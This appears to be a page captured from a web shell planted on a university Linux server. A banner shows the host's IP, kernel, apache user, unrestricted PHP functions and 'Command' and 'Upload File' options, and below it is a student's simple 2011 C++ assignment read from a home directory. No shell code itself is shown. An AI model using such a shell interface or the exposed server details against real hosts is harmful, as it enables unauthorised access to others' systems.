Server IP : 172.16.15.8 / Your IP : 18.117.168.71 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/amjamgochian/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// CS 310 Intro to Comp. Systems Assignment 1 // Due: Wed. Sept. 7, 2011 // // File Name: cs310assign1.cpp // Author: Abby Jamgochian // Instructor: Dr. Wang // // Compile: g++ cs310assign1.cpp // Run: ./a.out // // Goal: The program will read the number of bits and output the // number of values it can represent. // #include <iostream> using namespace std; int main() { int x; char ch; cout << "Do you want to run the program? (y=yes, q=quit) "; cin >> ch; while(ch != 'q') { cout << "Input one or two bits: "; cin >> x; if ( x <= 9) cout << "There are 2 possible values." << endl; else if ( x > 9) cout << "There are 4 possible values." << endl; cout << "Do you want to run the program? (y=yes, q=quit)" << endl; cin >> ch; } return 0; }